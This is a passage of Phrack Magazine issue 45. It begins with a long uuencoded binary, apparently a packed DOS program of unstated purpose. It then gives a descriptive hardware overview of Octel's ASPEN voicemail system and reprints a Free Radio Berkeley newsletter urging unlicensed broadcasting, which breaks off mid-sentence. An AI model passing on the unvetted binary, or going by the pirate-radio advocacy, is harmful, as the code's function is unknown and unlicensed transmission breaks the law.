MX>M‑/$/K@`V‑ZW[K_,SK.!WTA`T‑ZX+K_+?K(QWP$**V[^LF\`\^)O`+!B;V M!N@2^R;P*J_NQ_(F]Z3R)O(N`>DH`9J/`3K'1OH!F?_Y8HA[1'="=R&3OV(9 M\OFINX‑^^@1UWQ\+XO@,^_'IZ@`N*NK_,+']ZN7Q^<PAU.CX#,W2O‑).EO+J M^`H0;K?JINI#=2EPYUH,H.JAO$.\_GNMU‑WH`V7I\>MY!.G3^`UTT_@+%&IM MY=‑<TTQF\=/X#4>ET‑/X"Y7ETR_3'WCP$'#[&NL*/!M\]Y1\]C54:/\5:7,@

M<')O9W)A;1')B\G@W_OO86X@061L:6+<P8=_;7!A=/=L92!S;W5N9'C_[V%R M9"YIR`F:`P$G`0B[.,!U,B;0%/P.7M`3Q18!#H?TU0#%FH@)^X]CH/`!4+`U MSP3T\5L*]/@*\O3X"O/T^`K0"F5)]%^,@=#T_M#T_I+"T/3^T`_T+TJ2!=#] M]/[0]/[05EGT_J#]E]#^]/Z@_?2@_;;*]$#]]]#^]/Y`_9*E]$#]].!Z0>!] M^+__7<,`%U+Z0@:Y,"XY.2!B>?\;(%1H92!&:7AE<BSNN_H=^N]9\6AA_&(' MNF$@4P9_95WR;,Y%\61U8W1I;QCU\?HQUY64%8IL:7J/=C;Q.[DG.34FJ49X M4L<_X38P‑/I‑0TU80TE6'!KV4PT*_E`:N70"!XQFN<ASQX"']XA:;V]M@(_P M+B!9;W6'M2!53I\?3%I%6$4Z[FUU<W1_.'0@,TQI5#/;0GET0+KTT2ZQF@`` MA_HC\0T`+OOGMW$]N`Z_@Q!WHPY7FN;TOVD#Y;@;A‑/_P[_H$>A^_>@9^*+7 M`*#]H@#6UOK]X‑E527.Z^!1:_YRZ^!3D_,GD^!1=[>LI/`%U"./CZ*WWE.L= M/`+T;W2<^?01/`/T/?L.'O0%Q@;ZVKG_O_L/KK2_V`"JEHO?!W.Y]1^W_0#_ M^`LNR`VAA`2)1OZAAO__^ORZB`.*1@CNBT[^[.+]<(A"]0;N2O3\!NOT5>'* MS<?X&HK'^!]\]8#_AS[9`0!T&(N.!@#1Z?[_?U#D0200.L1T^(K@XO18ZQ*" M`NCL8>SX"L&(W4‑$:`U;[&34).!@;P*JR]SX#9)E>](]T_]7".D.Z)$`@7[^ M_P!UZ]+^‑O@)#W$3:0"P!‑E@V>'^BL/V@/;7_OR$.N;_#]'9X;#_[\;E^#0A M]KS^N`JL)O_$]OQAW?S"_J/"_YG^0WB`?OV2!OK\P'0$J"Y^ZVIA2OQ,^`T` M`G=]W+_WBE8&N_$PY(OXB)4<Q56P\E"W\;5._H'P"='X%RYA*_S1_EC1^`KN M\`EX!@!T,;`0‑P5B`=RS_W?4_CL#=.S\J`#U$PP_]3T`T?\(=>'K+U%;SQ:" MS_@2=\_X"0S/_9+/AE#P#UL%P``A/`@&];EET^`E,*(P\$`">4"*A;R"$23/ MBM#Q_0+\IKD6XO@*"B;.)O@4H/@D`J#X#6WMRZ#X"P*@_)W&\!E'RB#I4O]( MD``$PM$_11K1$?@1?*K;`>O8:2!I_#/X#`P@PP+#^#=8QQ##Q:CCP_@Q)._# MZFV(P_@6M>O#^`T&)`]:\`[P6O`A*&VUTM@*H/@70%+P"092\D+RF/@,/Q5L MF/@AP']RF/@FL*#X#L"@^"%@VZZ@^")@BN@.\#CX#P^8^"'X^YCX*6U=</`S MF*#X(H`X^$(PF/@J./@ST/J@^!7<_4L%L)G@%YOZZN7&A7H$.K8@RN`8O_@4 M)‑^_6K_X"P!J=K_X&8#=?O@‑VM(92<OX*23^W/K+Y/G+^#+>R_@6X=`‑T>`E M‑FL.(O`/X8+P(5*CA‑`?H_@1`JW?H_@‑A]`5)*/X"=B]L+U0H‑E^]‑7&V/C6

MP^?X#3?:O^?X$_?GQL:FY_@3^^>‑Y_@3_>=:*W3G^!.L\EOG_"_H&.!S];7W MN+#ZM?`@!_BU\!/H`/]#8ZG#@/G\0*>Y"OP?C!7\9OQ)@<`‑SZDVUNS$`XS# M[.8!9\`)4\(Q2TW_YA+FS/]#S7W1YWON^9LBV?J‑U,+BW/@3[]QV/‑SX(B4J MN/G<^!F4W)3<^!+$M>8$YE/]//_F^`Z6QE+F^!*H^`L/W&1@^![<0*E6W/@:

MN`>2XKCX'@62RMSX"6UMDO`).<'XE?/OH?@7X[(EN?`B`6UL6?@>[?*EN/@> M`]R!‑?@BS9(*3)3X&MRIW/@=<U'?@_??Y9?X%@K?^!*LN.GW7_S/\`SI%?N\ MU.GX$BZQ]=WH$^;WYOV]/;]ZG2&X"0`@B^=2<;\$`C;5[QCO^`IDWA;O^`G. MF!'_?XM&!KL``$/1Z'7[@^L%B%X5_UREL=79:`G8,=*)1OJ)_3]6_/;<T+@4 M`"O"F8O(B]H,^^3ZB^F:HH>1N33"5S\QVYK9*Y'4_.7\)?\#@>((>IIDF?"4 MJ`JB^`G_=@8H\RAEKID:\G_@P_^=C‑W1YXN%)0..CL*/D8I6W@.E6@2^&Z7=

M_XF52`1T\[D*‑L$#4"#5?^.:L_D[2';<>K'J%@#)[?X+Q\ED!!J0$]\*!*!P M[_>+7@B(7M^,_^ZY!0`8E/SN$Q5*N1[TV;`@F3\`V8;[`EX&U.W9#VOVT`K^ M^M8Z1OUT&LCJXLSMXOW8T7;2853C\7H&X]`.`_`‑/]@(;'OV]1WBQ?7X"8*+ MZA%UUGV`(/4PU<<&A`2N^G\\A@0D`,8&W`'[W0$!#`_[W@&G!M\!`X<]^^`! M!/OA`;6!X@$('`[[XP$)^^0!"H?#^^4!"_OF`0S[Y^%P`0W[Z`$0^^D!$3@< M^^H!$OOK`1,.A_OL`13[[0$5^Y12[KKOIO"U\3JDH?(!!OOSG'1(]+#U`0?[ M]BFEJ_>7^*;YDI32^J;[G/RA_2%]`0[[_IS_`0^_'.OJ,.H`/W0PZQP#[_@. M_>`Q^LO:X/_QGV^!OO__CL8F@#X.5T<`^W0:\_@)'EGS^`G^=2W`V]0C@P0` M_8'PUU$P#"+XAO#\‑?D=`^O8"UD$_OF@_0[PIYKVS/<)=>U=/UW+‑?/_`'A[ MBU/H*`"_G,*\<MH@`_>:9$(4>W'Q<^T‑[6AV_O_$M`_HU`4\!W0*/`‑V!KB'

M'P,`Z%7]GP"T"#+__O]_!8K$)'^BF`2BC@0SP*(0_HGXF?V:!$"BB`3#_XX& MR)YL`":*'28Z'73X__OXN.3_F>@\`O?0]](__+DW`/?QHY2)#A^Z.`$_P;@; M)<TA'\/.&B:`WX<:DP8\!'("GMGP?[245P58"N1T+;@2$;/XA_‑*!;@P$;<` MLO8_!$`%@/HJ=1;.#LZ`_[W]N0`&Z"P%M!(?;[,@Z"4%PTL?!5#4_A3XA[VQ M``K2=0BR&#O_X7<"L0&*\HK4_LJC@/[_OQAV`K0!HXP$B1:6!(@.BX?QP^F* M!`$THY#ND@3_8<‑0'KA"`X[8@#XN`'3A`8/Q(P$?6,_QGL+X`'4!P_``P<T` M\!90M/KK]+#__U[H'0.P0^@8`^@.`^F)_HO_5]PVBT<$Z"/_Z&W_H‑GS,]D\ M#.N*5PK\=PC#__Q/!OQO!#K1=R<Z]7?P/R‑M>!_^SG@;_LDZ#OPA<7<3_LTZ M+I?X"V#X=7$.<>A!`\H!P@@`$UP^MHL01P[KBUSH‑OF`[_4*`\OH&@/C_LKT MAXKE&P3+N`$'Z^J=X@$&'3D"6.6*R(KT#^[&.NYU`C+`Z/:,0\=M=7<$?0(\ M#K‑R%SK@=Q&'!W,"‑I'R"3HVD_+8/RS"`F39Z+4"BL(J!@PAV_[`CZGTQ@`2 M]‑WTO/P/%*CP=`0D#PR`@"87?I9P"`8/_^8D![$$TN`J/>B/Z/WT]\N`#BQ] M^@C+XO2[BT\$XQ/W?_/J,__*Z:&4!#/2Z`4`XO;\=\\M`0"#V@!R!:WJ\\/Z M_]1?!+C=‑+H2`#O3<QJ___?SB]CD8:AJ80P#YF&PMN8_H$.*P^9"BL?\Q0&V M+VG\ZY,^F4;Q"!=@3/*P`'3P:8?OQ@;\`>L*P'42,N3I#_?X"H@F[PKD=7_I

MZ!/XA_YL'C;%?P3'1?#PX=?[!(``C87\B46'_PR,70[Q$&<#C$T2QD7K_S`` M'^3QU?VXGP.[?02+RX$?'WT"L==T"L:RU[A,0GCOV,H4TA:)71AX./H:B4T< M^AXSP/T_R%6+[,1^!B:+501*2L#/^F`FQ'T,,]L?_F@.Z%S_N0@\"'0T/!._ M_W0P/`1T1$FR,2<\`70C/`;__W0W/!IT1CP‑=$\\('+/.]K__W3+)H@!0^B8 M`#O>=L"+\^O_'[P+VW2XL`CHAP"P(.B"X`_[]GT`2^+JZZ0?_^!TH":*`<J9 MZ&H`0^+?]._KD8`^B1OIBK_K"NC_"$X`)L<!#0I#0V<!H%LF1FM("@8(8\J( M\<0<64UA@NXI_.,94\2&_XJH\0NN!>@<`$?B]^L_(`/HG`#HUOS&SS^\^[`MZ`+["E‑14C?&=>ER`%@;X2HK+43_IS,\"G0UM`F*'HX$,A2_]U+H8P%:_L)] MZG8@BG'IZQ<_P+0.Z$\!ZQ/M\W0'@@W^RNO3Z9OPWPB;+0`'6EE;P_[&6^H' M#788_LZ>$>G>X`P4#Q^Q6<.T`Z/I"@&T`H?A^0,!E![(‑A90C1@`'\RY]TAP M(1/N<"QT;#E'?_T\87[H;IRA_Y`LZ&(`#,.B!W/"`*[KYW@<Z%,`;A‑N#^A& M^%/8>?_K!^@^`‑‑'@,^JIN*FZ#``\7^5B96*QO8F2@`R]@/"_S!6N19C`+`. M[NOKQ4*>POI*L`_TP?0?#W_#._=T8YI7'@:+SRO.GO_#BL?'_P/#T>"+],/X MQ8/"!H`^208?/YRAS@!U`Z',W1Z+!/[_#`8?CL#\"MMT%JR*V.RHQ_\!=?OZ M^G3[B\.K^^+L?^CK!HKGK*OB_,E?[_%6__=750;‑$`==7U[#`+H:V=J,__\& MO``S[>@`"^B@`(O$!1,`'_ZQ!‑/HC‑)1HXX`HY``0P@#!HCYDOV<\'C]X*.H M`([1)J$"Z‑_UI"C!K@#6`(P.L*K)#_\&OCD"N<20_"ZLM#7‑_ULAB1V,10*# MQP3B[Q+2#%71A_02T;H3^"/XVP"X%‑HD^`3P/_K*N'3)\#I0_KAC`@Z*4FZ1 MR`(T_NP%[/@*.NRY`LLSP/__G%N`YP]3G9Q9@.7P@/WP=.]?#D"`S_#P_70! M0*+0`,.'Z?C_8?N#Q`98@^<?@<>6`/_#@/PY<P.___]7M%23B_]_[(!.%@%8 M6UE:7E]='P?/N$!_SM73T<@`65OK!]__T,$SR3/;YO/[H[8`B\$+P_]#=#VA ME``+P'0OCL`&$/K_]ALKPW<7]]@]`!!S$/#_NN[WX@/!<@<F.P8(`.'_<@;= M%`#KT8O(C,,K'O#PO*3K$(D.`HD>NC\6`,0>L@",P+$3ELF&AO6CM/W`OQ$! M(`N%!E/+_?,<*@C\]_HZ(6G!K/`+)1[%%=;QK?+PH0P?L`L&L'0INTP"A@_. M`*%:Z#(`NUL!OO0>].GH0`"P.CB$4<':Z#7I8.DT/`?=M$S!+HH'"OR/0P;H M.`!#Z_/#L63['^:Q"E_AZP0RY/;Q!#!0/PR^6(K$PU#\Z`$]#/901='HZ`/W M)`__P^0\.G("!`>*T+0&N,/__P`"&R$C)#0U‑C<X.3H[/#W__SX_=5)U;G1I M;64@97)R;W(/#B``(&%T^^HI`%#^#_)<*G,@0V]P>7)I9VC_'^@H8RD@,3DX M,RPY,B!"_C_A;&%N9#/`AP;``,N#/CC\^YW!RZ'YZ7#^B_3_AS:.1`(F.U4" M?P=\%/CC`05R#_,&?`CQ#L/X101WV+C)V$C#X?ZXU_I"_@5K<@W_8RO$<PGW MV#L&O@!RXLKX_N@J_KHSTE_2Q'\(‑L5].'<$9‑FKN+#7_(``J\+']?^‑172K MC.QA_‑P)_)`"[+D.`//__ZNY3P`+TG4)K#K(=@2*R./]UPBLR/$#JN+X,L"J

M'W/!\],:8PH:PMW1!/@&^`QT__C1T44.Q]9%"LH*`+H?WK'7ZPBZLOL#NK/7 M#M8['$4"/=W)$CWI=`T]CK]R=!#'`F8`ZR12!B?P=K$E`%J]";G^NQ!;U0#H M3/5!)G++<M(I/+']C\R$*1CXKPBT9SP<X!A0NQ3)%0!8#R!%#+L<]73`^`G` M[9G^)O\9‑>D#>^E?"M<'J<'=\C'%50P<T1C1/R$=M#_‑(7(0@7.`",<+%,OV MT!>XH^[0^`HSR2:'ZLGC8<Y`S@<KP:RX9:W_Y\?;^!0"_\2LSAV#^P1V!K2B M(3[F_.?X[#4N?P[A)G4NWG?%.W<_Q`IT*QX&4U*Q5US__U\*!P/:`_+\_]`K M\HS"6P<`<!]6VS!U",‑?.`#Z:`##4++1TN@S`=B;Y`C96+S^=;S#HOQ`0HBB MLJ(YYD___WQ_""O/*]%S!`/*,](&)L3_!W<,`_ZP(/SSJBO^!Z8`../%5W4)

M4@[‑K^(`KUKCZ<C!‑I=IE['\2+']0;'X"L$&'+'(+TN.VD(XK5^M^Z^D*_O[

M&%.M_0U04E:KC8_UJUY:6$#`J?XC\EX&^_^XNP7VL>[^=0HF@W\:`'0#VW[H M<``_\JQ2R0SZN1$[\W7S#,/;P_AT">L*P\%T`4Z/P[C0[\#]_\T"`+[4`(S: MZ%C_O?@)+5K(O=_\[/P*._SE$O#FY6XF_U\4XNW#\O(/&/+^R0RX6`:+3K^' M_7X(BU8*1]<AB\?$])?B*\=(JKV*8P]C"_"8JFK@\N,%T\,8'FG%"(H',N3A M/[W&!BO0?@50Z&[^PO0'?8MVLT;HKG3__KR`/M`OX1MFP>`09L,4#ZS0^\'A M]]F&__OWZ?BDPA#+B_"+^O\!]^%04HO&]^.+V'_^I?2+R%I8`],#T0^QPSX\ M)\/X$71>9IF_^6:+RF/XO/O+MU4S[0O_^])Y"$7WV(/2`/?:P[$^>0MP@$7Q MV8/3\?/P83‑)\8O[,]O,B]#XASN]$`#1X‑'2T?___]‑`*\X;WW,%2`/.$]]M=>GW?UWK%EVZR>FW^>/WDY+W\9/`\/W‑T\?1[7.&%@BS_478!YG]75K]AP]C MXA"F9M/JB\+A__7J<8/A'W0&T>K1V.(6\?K=^`_BW?@,>=W\B_N_W(S:(=ZL MJHK(,NWSI([:0NPZ\>;\Z@KB!IZBK‑]".L%V`HK!W/@)"MS]X`Q<_‑@(BOC) MV`8+R7_^"0‑NL0/Q*\%R$T#&/KSN?0(SR3O!!HO!Z^?R7.&JB\B_"+__@2;A MX8H‑IJPF``4/)L;A@P7_E?;0`_E'D7Z_;_T`\1[%=@K\LM(LBM`R]O3_0MKM*\IR'$%'K/*N=17_.XO'B]F+RDGSIG0."[G+BQS^T4;KYH_K!$@K1@9%81]=

MCO]1P]J3BB4</Y\ZS"?,"LET!G[I)J9U`CK$8_X$L`'6**ITFJKHN5'^"K_L M\2H8ZS;]!WEB(A*#'OYL`7T%QY,!`(V^`/_AH1976PH&5[CR4!TZ?FE(9<'+ M_NX.6‑(#_U:QW_[?_<UIQ+GAK)'#0@GIW>P(]'A##_Z+Y4D,H?@*`'Y<<(#Z M8WY6@?K‑(21_3_D&^7Z‑,"WYC?@0"(U8_I;X"M98[`,Q29+\/I)[DORS_N_\ M"9%=RFN;,\F)#;C]&``]W<P‑L`+_!?6S_M_U`K0\@'TP`'0)C54PB=%_]UJ) M!;@+!+J0&_$SV]/\+XL0/AW'1.3VPH"X8#G[Y9=B=13!U]DK`+CJ?SO/_A6;

M&IF)51:)31B)71K8Z.\<@,61'N$7TS.`P]+9L0)"L2U6"8`RDG/&>6C!KN&: MAV#IC97HN?V)S'.$C\FJ.]AT((#_7^P:=`‑#Z_*+TRO0N?__NOU2_[&VRDC) M'>@‑_#OW<P<#_UKQ`_E.3_WSI/P<Z_OK""?J%?_ZZBS1/L3T/&%R!CQZ]_]W M`BP@Y>F_U@`>![GH!BO/`?[1Z8#9J\,``+P"80"$`_Q,!/K\&`#X%`7X_``B M]OSTW/0``/ST_/+``/SPI`;P``#\\/SP`(7\[OPHU\'Z'X:8"+D"N03\.`7\ M!P#%!0(#]/ST@`C\]%3T`!#\]/STK8%H^/SXU&$&``#@_.C\&%SP5@:Z__@/ M___L^!&'!O_X&A!`_*#‑N;CY4`$:;;'__P#P`````````````````$\1```` M0+$#V0&)`=<#B%,```8.'XL.#`"+\4Z)]XS;`QX*`([#M``Q[?VL`<6JXOJ+ M%@X`BL(IQ8K&*<4YU70,NI$!M`G‑(;C_3,TA4[A3`%#++HLN"`",VHGH/0`0 M=@.X`!`IQ2G"*<..VH[#L0/3X(G!T>!(2(OPB_CSI0GM==C\CL*.VS'V,?^Z M$`"MB<71[4IU!:V)Q;(0<P.DZ_$QR='M2G4%K8G%LA!R(M'M2G4%K8G%LA#1 MT='M2G4%K8G%LA#1T4%!K+?_BMCI$P"MB]BQ`]+O@,_@@.0'=`R(X4%!)HH! MJN+ZZZ:L",!T0#P!=`6(P4'KZHG[@^</@<<`(+$$T^N,P`'8+0`"CL")\X/F M#]/KC‑@!V([8Z7+_*D9A8G)I8V4@0D5,3$%21"H.'[Z=`5N#PQ`QTJV)P>,3 MB\(!V([`K8OX@___=!$F`1WB\X'Z`/!T%H'"`!#KW(S`0([`@^\0)@$=2([` MZ^*+PXL^!`"+‑@8``<8!!@(`+1``CMB.P#';^H[6B^?[+O\O0U)#($5R<F]R M#0HD#0$(`!,`)@`N`#\`1P!/`%<`7P!N``$""P(0`B(")P(L`C8".P)‑`E(" M5P)I`FX"<P*%`HH"CP*A`J8"JP*]`L("QP+1`M8"Z`+M`O("!`,)`PX#(`,E M`RH#>0.%`X\#E`.F`ZL#L`.Z`[\#T0/6`]L#[P/T`_D#)P2.!9<%K@6S!7$& M>P:`!I(&EP:<!J8&JP:]!L(&QP;9!MX&XP;U!OH&_P81!Q8'&P<E!RH'/`=! M!T8'6`==!V('=`=Y!WX'HPBM"+((Q`C)",X(V`C=".\(]`CY"`L)$`D5"2<) M+`DQ"4,)2`E‑"5\)9`EI"7,)>`F*"8\)E`FF":L)L`G""<<)S`G9">0)[0GY M"0(*IPNR"[L+QPO0"X$‑C`V5#:$‑J@WN#2(.9@Z3#L`..@\_#TT/4@]D#VD/ M;@]U#WH/?P^+#Y</HP^O#[L/QP_3#]\/ZP_W#P,0#Q`;$"<0,Q`_$$L05Q!C M$&\0=Q!_$%(15Q%<$681=1%_$801CA&3$:41JA&O$<H1U!'9$>L1\!'U$0<2 M#!(1$A@261)A$GD2LA+J$BH33A‑\$P(4,11@%‑H4.A6:%<D5!A9#%H`6X!9( M%Z@7$!AP&‑@8.!EY&;H9[QDD&ED:MAH2&RL;1!M=&W8;CQNI&P$<3Q]@'W$? M@!^H'](?W!\&()@@'B%?(3`B02)2(F,B="+I(@0C%R,;)`$I&RH0+!$S+#‑"

A,V$S````````````````````````````````````````

`

Introduction To Octel's ASPEN

==Phrack Magazine==

Volume Five, Issue Forty‑Five, File 23 of 28

****************************************

AN INTRODUCTION TO OCTELS AUTOMATIC SPEECH EXCHANGE NETWORK

BY OPTIK NERVE

(nerve@netaxs.com)

The Automatic SPeech Exchange Network, or ASPEN for short, is a high performance voice processing system which interfaces and integrates with a variety of PBX and Central Office (CO) equipment. Interfaced systems require the caller to enter an extension, while integration provides a personal greeting automatically. Both of these provide the ability to return to the operator if necessary. ASPEN systems offer voice mail, Information Center Mail‑Boxes (ICMB), Enhanced Call Processing (ECP), networking, and transaction processing. The Aspen, Branch, Branch XP, and VPC 100 hardware is only significantly different in their port and drive capacities. The following information is presented to introduce an overview of the hardware in an ASPEN system, and its function for it as a whole. This is not a "how‑to" file and you will not find anything related to fraud in this article.

SYSTEM COMPONENTS LIST

‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

Each ASPEN system contains the main cardcage, the I/O cardcage, the drives, power supplies, and the system manager terminal. The system manager printer is optional. ASPEN hardware consists of:

o CPU Board

o File card

o Line board

o Telephone Interface Card (TIC)

o Scanner board

o Winchester drives

o Power supplies

o System manager terminal

o System manager printer (optional)

The cardcages of the system contain the following boards, each identifiable by a unique color coded tab indicating the slot into which the board fits.

MAIN CARDCAGE

o CPU (yellow)

o File card (dark green)

o Line boards (light green)

INPUT/OUTPUT CARDCAGE

o Scanner board (pink)

o TICs (purple)

SYSTEM COMPONENTS OVERVIEW

‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

The following subsections present a functional description of the characteristics considered standard on ASPEN system hardware.

CENTRAL PROCESSING UNIT

~~~~~~~~~~~~~~~~~~~~~~~

The CPU board contains a microprocessor with access to one megabyte of RAM. It is identical, in function, to a personal computers' CPU, executing instructions, and controlling serial I/O to the scanner board and system manager terminal.

SYSTEM DATA BUSES

~~~~~~~~~~~~~~~~~

System communication between the boards uses three main buses: the control bus, the data bus, and the polling/status bus. The eight megahertz control bus works on a request/response procotol; for each 16 byte message sent by the CPU to a board, a 16 byte response must be sent back to the CPU. The data bus moves large amounts of data (20KB transfers) between the CPU, file card, and line boards at eight megahertz. All digitized speech to and from the line boards and file card travel on this bus. The polling/status control bus is used only between the scanner board and TICs. The scanner board polls each TIC port for an on‑hook/off‑hook status every ten milliseconds.

FILE CARD

~~~~~~~~~

The file card controls the drives and is the primary system file manager. The file card controls the Winchester ST‑506 interface. The file card also stores frequently used prompts of less than three seconds in a speech cache memory.

LINE BOARD

~~~~~~~~~~

The line board contains microprocessors with access to 128KB of RAM. The line board has four channels, each matching a channel on a TIC. The Aspen may contain as many as six line boards, but this is limited to four, and even two on lower end Aspen models. Line boards perform several important functions including: encoding and decoding of digitized speech, tone detection, DTMF detection, silence detection, speed control, and DTMF tone generation. Speech is encoded at a rate of 25K samples per second using Delta modulation. Each of the four channels on the line board has a tone detection circuit, which detects dial, busy, reorder, and ringback tones generated by most PBXs and COs. The proprietary design limits talk‑off during message playback. Talk‑off may occur when the voice generates tones similar to DTMF tones. Silence detection recognizes spaces between words so that the voice message can be compressed for disk storage, optimizing disk space. The system also recognizes silence during message recording and prompts the user to continue. The line board controls message playback speed without affecting voice frequency pitch by controlling the amount of silence between words. Playback can be normal, slow, or fast. The line board is equipped with a tone generator used for dialing when ASPEN places an outcall or transfers a call.

TELEPHONE INTERFACE CARDS

~~~~~~~~~~~~~~~~~~~~~~~~~

The Telephone Interface Cards (TICs) provide interfaces to either the Public Switched Telephone Network (PSTN) including CO, or to a PBX. In most installations, the TIC emulates a regular telephone to the PBX or the CO. Octel Communications has special TICs that emulate electronic digital sets in a Mitel PBX and ROLM PBX. The four channels on a TIC connect directly to the four channels on a line board. The TICs use transformers to provide electrical isolation to protect the line board and the network or PBX. The TICs communicate with the scanner board through the polling/status control bus located on the I/O backplane.

SCANNER BOARD

~~~~~~~~~~~~~

The scanner board, as mentioned above, communicates with all TICs through the polling/status control bus. By continually polling all TIC channels, the scanner board detects new incoming calls and reports this change in status information to the CPU board though one of the four serial I/O ports. It also provides RS‑232 data connection to the PBX when required, and the serial I/O port which interfaces the system managers terminal with the CPU. The scanner board includes a built in modem used to remotely access the system administration functions. The local system manager terminal and the modem circuit share the same serial I/O port, and the first connection has priority over the second. (ie: If the modem is connected, the local system manager terminal cannot access the system)

SYSTEM MANAGER TERMINAL/PRINTER

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The system manager terminal is used to enter and change information within the system database. The system manager terminal is a Wyse 50 terminal used by ASPEN to report administrative information. The printer is an optional device used to produce a hard copy of output produced.

DISK COMMUNICATOR

~~~~~~~~~~~~~~~~~

The Disk Communicator provides connections between the file card and the drives. If more than four drives are installed, a multiplexer (MUX) communicator board selects the four drives in the first cabinet and the four drives in the second cabinet.

WINCHESTER DRIVES

~~~~~~~~~~~~~~~~~

These drives store system software, mailboxes, voice prompts, messages, and greetings. Octel Communications uses its own formatting technique and disk controllers. Standard drives are formatted for a capacity of 60, 90, or 190 megabytes. The drives (0‑1) contains all software and voice prompts needed to operate the system.

POWER SUPPLY

~~~~~~~~~~~~

The ASPEN power supply is located in the center of the system housed in a single case, which actually contains two supplies. One supplies +5/‑5 and +12/‑12 volts to the boards, while the other provides +12 volts for the drive motors. There are no replaceable fuses in an ASPEN system. If the current draw or input voltage reaches a defined level, the power supply turns itself off automatically, necessitating a reset of a single circuit breaker.

SPECIAL INTEGRATION DEVICES

~~~~~~~~~~~~~~~~~~~~~~~~~~~

The Woobox and the PBX Integration Device (PID) provide integration to different PBXs. These devices stand alone and are peripheral to the ASPEN chassis. ASPEN integrates with the AT&T Systems 75 and 85 using an A/PID.

THE CALL PROCESS

‑=‑=‑=‑=‑=‑=‑=‑=‑

The following is a general description of a typical call through ASPEN and the boards involved in the process:

o Subscriber dials the ASPEN pilot number, either directly or is forwarded to APSEN by the PBX.

o A TIC senses ring voltage and raises a flag to indicate an incoming call.

o The scanner board polls all TICs for change of status using the polling/status control bus and detects the raised flag.

o The scanner board commands the TIC to answer the call (go off‑hook) by sending a command on the polling/status control bus

o The scanner board alerts the CPU board of an incoming call by sending port identification information over the serial I/O port.

o The CPU commands the corresponding port on the line board to begin listening for DTMF tones, silence, or dial tone. The line board informs the CPU of call process through the control bus. o The CPU commands the file card to send digitized voice prompts, "Hello, this is ASPEN...", over the data bus to the proper port on the line board. The line board converts these prompts to analog and passes them to the TIC

o The caller dials the desired destination number through DTMF. The line board interprets these and passes the information to the CPU.

o The CPU instructs the file card to find the user record of the called party, check for the location of the personal greeting, retrieve the greeting, and pass it to the line board. The line board converts the greeting to analog and passes it to the TIC

o After the greeting plays, the caller records a message. The line board digitizes speech and stores it in buffers of six seconds each (20KB) o Using the control bus, the CPU sets a data bus transfer between the line board and file card. The file card decides which drive has the most free space and where to wire this message. The six seconds of digitized speech is transferred from the line board to the file card. The file card then writes the six second segment to the disk. This process continues until the caller finishes the message.

o The file card updates the user record of the called party by placing 11 bytes in the mailbox. The 11 bytes define the message location on the disk, sender, time, priority, and length.

o The caller terminates the call by pressing the one key

o The line board informs the CPU through the control bus that the call has been terminated

o The CPU commands the file card to send the good‑bye prompt to the line board which converts it to analog and passes it to the TIC o The CPU commands the scanner board to disconnect that port o The scanner board commands the TIC to hang‑up (go on‑hook) through the polling/status control bus

o The scanner board continues polling all TIC ports for change of status

CONCLUSION

‑=‑=‑=‑=‑=‑

I hope this information provides you with a more solid background of how the ASPEN system functions. The basic aspects of this system can also apply to other similar PBX interfaces. Although the above information cannot really be used for anything illegal, I have provided it, for informational purposes, to those who "feed" on telco‑bits as I do.

Greets go out to: Ludichrist, Squarewave, the ID‑Crew, #hack, and #phreak

You can reach me at nerve@netaxs.com, but please use my following public key to encrypt all mail before sending it. Thank you...

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: 2.3

mQCNAizV9xMAAAEEALvTChdFrhZvZ9wqJI8q7v0cEUdnjGBmoFGLzIWb1I8G9ZWA 8rDmxxeU5NBtJ7uK4Ea74MCNL35TGEnuoRQNZl5af9iJDfJjs/LVKNCWwWrPRMUi 6gPO6ui1bSfnvQn1ykZ2wj9fVwek9Is4Lneh1vOfpVMZPlTNRN23FvWw7yeVAAUT tB5PcHRpayBOZXJ2ZSA8bmVydmVAbmV0YXhzLmNvbT4=

=K44O

Radio Free Berkeley Information

==Phrack Magazine==

Volume Five, Issue Forty‑Five, File 24 of 28

****************************************

[The following is a message we received from Radio Free Berkeley regarding their movement and radio kits. I think these guys have a great thing going, and I personally am taking measures to get involved, (in my own special way.) Now Austin FCC, don't get your sphincters in a tizzy, because you won't be fining me anytime soon, but you never know who that broadcaster is, now do you?]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Chris,

I have enclosed the most current newsletter from FRB is this email. Mondo 2000 just came out and has a 14 page article on Guerilla media with a lot of information about FRB and others. We are trying to encourage as many people as possible to obtain transmitters and take to the air waves. If this happens, it will be very difficult for the FCC to do very much, especially in areas of the country where the nearest FCC office is 500 to 1000 miles away. It is extremely important that the stranglehold on the free flow of ideas, information, art and culture be broken not only here but around the world as well. China has just clamped down on broadcasting there, only state approved outlets and all satellite dishes have been banned was well. We intend on putting an international shortwave station on the air, first broadcast will be New Years Eve. It will be a call for no borders, tear down the walls and party down. We hope to get people in the Bay Area who are in exile from their home countries for political activity to do 10 to 20 minutes programs in their native language which we will broadcast around the world on the 20 meter band. Needless to say, the FEDS and their corporate masters are going to take a rather dim view of all this. Their armies and police can not be everywhere at once, however.

Anyway, good to hear from you. Let me know if you need further information.

Stephen Dunifer

Free Radio Berkeley

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

RECLAIMING THE AIRWAVES

Published by Free Radio Berkeley & Free Communications Coalition October 1993

New Email Address: FRBSPD@CRL.COM

Submissions encouraged and welcomed

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

***** FCC Uses 20 SF Cops to Obtain ID *****

In a scene resembling a French noir film, one person associated with San Francisco Liberation Radio was detained by 20 SF police officers until his ID could be presented to FCC agent David Doon. At approximately 9:30 PM on Wednesday, September 22, Richard Edmondson was approached by David Doon who asked for identification. After refusing to produce identification and answer any questions, Richard drove away and was stopped on Webster St. by SF police officers who blocked off the entire northbound lane of the street with 8 vehicles. A confused scene ensued wherein the police officers had virtually no idea of what was going on or why they such massive backup had been called. Richard was ordered to get out of his vehicle with his hands up and in clear sight by clearly agitated SF police who subsequently handcuffed him. SF police officers were heard to say "who is this guy" and "what do we have him for" ‑ for several minutes these questions went unanswered. By the time the FCC agent arrived to examine Richard's ID there were at least 20 SF police officers on the scene. After learning of what was going on some of the officers were 